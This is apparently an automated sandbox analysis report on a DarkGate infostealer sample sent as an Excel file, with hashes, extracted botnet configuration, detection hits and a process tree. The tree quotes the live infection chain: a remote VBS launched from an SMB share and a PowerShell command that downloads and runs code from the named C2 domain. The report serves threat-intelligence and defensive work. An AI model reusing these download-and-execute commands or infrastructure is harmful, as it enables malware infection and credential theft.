darkgate | 535dd498b529c109d05d517f329897f64fd15ea57f841f4deb111262b011fc60

Analysis

max time kernel
133s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
28-02-2024 21:20

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General

Target

scan-28-02-24_4761.xlsx
Size

29KB
MD5

78d125fd15824e5ca1a3f7d99d7d8e54
SHA1

e905149cd68a5961ee9fb4760c29f17b3fa6b524
SHA256

535dd498b529c109d05d517f329897f64fd15ea57f841f4deb111262b011fc60
SHA512

266620784bb52ebbec6e533ca306bca8f753b311a6a76dcd3759e0614bf6f64dc124363b747fbfecc09fab3edd4da2c4e0908ae9a04a67c5438e6a0bbba63fd3
SSDEEP

768:wnEQpllh7tAafroiianGoHoJ+yWWn0Wht3p1:nQJh7Lro4ntD+0AZ1

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

cayennesxque.boo

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
true
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
ekoRFSqn
minimum_disk
50
minimum_ram
7000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral2/memory/4764-72-0x0000000005860000-0x0000000005BAF000-memory.dmp	family_darkgate_v6
behavioral2/memory/4764-73-0x0000000005860000-0x0000000005BAF000-memory.dmp	family_darkgate_v6

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	708	4992	WScript.exe	27

Blocklisted process makes network request 4 IoCs

flow	pid	Process
43	3984	powershell.exe
44	3984	powershell.exe
46	3984	powershell.exe
47	3984	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
4764	AutoIt3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4992	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3984	powershell.exe
3984	powershell.exe
3984	powershell.exe
3984	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3984	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
4992	EXCEL.EXE
4992	EXCEL.EXE
4992	EXCEL.EXE
4992	EXCEL.EXE
4992	EXCEL.EXE
4992	EXCEL.EXE
4992	EXCEL.EXE
4992	EXCEL.EXE
4992	EXCEL.EXE
4992	EXCEL.EXE
4992	EXCEL.EXE
4992	EXCEL.EXE
4992	EXCEL.EXE

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4992 wrote to memory of 708	4992	EXCEL.EXE	98
PID 4992 wrote to memory of 708	4992	EXCEL.EXE	98
PID 708 wrote to memory of 3984	708	WScript.exe	99
PID 708 wrote to memory of 3984	708	WScript.exe	99
PID 3984 wrote to memory of 4764	3984	powershell.exe	101
PID 3984 wrote to memory of 4764	3984	powershell.exe	101
PID 3984 wrote to memory of 4764	3984	powershell.exe	101

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\scan-28-02-24_4761.xlsx"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4992
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "\\147.45.197.186\share\scan.vbs"
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:708
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'cayennesxque.boo/qdfjfvph')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3984
  - - C:\temp\AutoIt3.exe
      "C:\temp\AutoIt3.exe" script.a3x
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      PID:4764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a3uyyw4x.ife.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\temp\AutoIt3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

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C:\temp\script.a3x

Filesize
468KB

MD5
5dc0a5b884e44209941ec370406fbcc5

SHA1
b06cf5d11a5a7252afff61c1a787fb27ff126e28

SHA256
68acdae5c94dcfc0adaa1e1965166b3d2b4b8f1f889bce4610dbd1a0b72e2bc9

SHA512
0e11e3281175b0c9bdbe2474830fcd38de05e18e6edac4c1b0cd9c334ced89738c2eaf1bdf90c5e6b08c20faf96a6bdd574a472f81bc84355b69fc60832cbb53

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C:\temp\test.txt

Filesize
76B

MD5
8b428b9d5c33c6ed79386d4c10600cd8

SHA1
0f4bbafe0abe6cf3f3542d49a9eed5db84f9ef7e

SHA256
424ef27370eb401871db935fc3fa3811179f5786fe777182550299aa8230f6b6

SHA512
307e7d4228577259a4cc3874da09408e45401b46739ccaa96e0bd5a0f6aedb362dd97528aa2acc79d3698710d85c283afd0649ec412dcba8c9f8df1339e3b892

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memory/3984-67-0x00007FF827CF0000-0x00007FF8287B1000-memory.dmp

Filesize
10.8MB

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memory/3984-35-0x0000018D6E020000-0x0000018D6E042000-memory.dmp

Filesize
136KB

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memory/3984-63-0x0000018D6E050000-0x0000018D6E060000-memory.dmp

Filesize
64KB

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memory/3984-62-0x0000018D6E050000-0x0000018D6E060000-memory.dmp

Filesize
64KB

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memory/3984-48-0x0000018D6E7D0000-0x0000018D6E992000-memory.dmp

Filesize
1.8MB

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memory/3984-47-0x0000018D6E050000-0x0000018D6E060000-memory.dmp

Filesize
64KB

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memory/3984-46-0x0000018D6E050000-0x0000018D6E060000-memory.dmp

Filesize
64KB

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memory/3984-45-0x00007FF827CF0000-0x00007FF8287B1000-memory.dmp

Filesize
10.8MB

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memory/4764-70-0x0000000004340000-0x0000000005310000-memory.dmp

Filesize
15.8MB

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memory/4764-72-0x0000000005860000-0x0000000005BAF000-memory.dmp

Filesize
3.3MB

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memory/4764-73-0x0000000005860000-0x0000000005BAF000-memory.dmp

Filesize
3.3MB

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memory/4992-9-0x00007FF80EAB0000-0x00007FF80EAC0000-memory.dmp

Filesize
64KB

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memory/4992-14-0x00007FF850A90000-0x00007FF850C85000-memory.dmp

Filesize
2.0MB

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memory/4992-12-0x00007FF80EAB0000-0x00007FF80EAC0000-memory.dmp

Filesize
64KB

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memory/4992-18-0x00007FF850A90000-0x00007FF850C85000-memory.dmp

Filesize
2.0MB

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memory/4992-19-0x00007FF850A90000-0x00007FF850C85000-memory.dmp

Filesize
2.0MB

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memory/4992-20-0x00007FF850A90000-0x00007FF850C85000-memory.dmp

Filesize
2.0MB

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memory/4992-21-0x00007FF850A90000-0x00007FF850C85000-memory.dmp

Filesize
2.0MB

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memory/4992-22-0x00007FF850A90000-0x00007FF850C85000-memory.dmp

Filesize
2.0MB

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memory/4992-23-0x00007FF850A90000-0x00007FF850C85000-memory.dmp

Filesize
2.0MB

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memory/4992-33-0x00007FF850A90000-0x00007FF850C85000-memory.dmp

Filesize
2.0MB

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memory/4992-34-0x00007FF850A90000-0x00007FF850C85000-memory.dmp

Filesize
2.0MB

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memory/4992-16-0x00007FF850A90000-0x00007FF850C85000-memory.dmp

Filesize
2.0MB

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memory/4992-15-0x00007FF850A90000-0x00007FF850C85000-memory.dmp

Filesize
2.0MB

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memory/4992-17-0x00007FF850A90000-0x00007FF850C85000-memory.dmp

Filesize
2.0MB

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memory/4992-13-0x00007FF850A90000-0x00007FF850C85000-memory.dmp

Filesize
2.0MB

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memory/4992-11-0x00007FF850A90000-0x00007FF850C85000-memory.dmp

Filesize
2.0MB

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memory/4992-0-0x00007FF810B10000-0x00007FF810B20000-memory.dmp

Filesize
64KB

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memory/4992-49-0x00007FF850A90000-0x00007FF850C85000-memory.dmp

Filesize
2.0MB

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memory/4992-10-0x00007FF850A90000-0x00007FF850C85000-memory.dmp

Filesize
2.0MB

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memory/4992-4-0x00007FF810B10000-0x00007FF810B20000-memory.dmp

Filesize
64KB

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memory/4992-8-0x00007FF850A90000-0x00007FF850C85000-memory.dmp

Filesize
2.0MB

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memory/4992-7-0x00007FF850A90000-0x00007FF850C85000-memory.dmp

Filesize
2.0MB

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memory/4992-6-0x00007FF810B10000-0x00007FF810B20000-memory.dmp

Filesize
64KB

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memory/4992-5-0x00007FF850A90000-0x00007FF850C85000-memory.dmp

Filesize
2.0MB

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memory/4992-1-0x00007FF810B10000-0x00007FF810B20000-memory.dmp

Filesize
64KB

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memory/4992-3-0x00007FF810B10000-0x00007FF810B20000-memory.dmp

Filesize
64KB

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memory/4992-2-0x00007FF850A90000-0x00007FF850C85000-memory.dmp

Filesize
2.0MB

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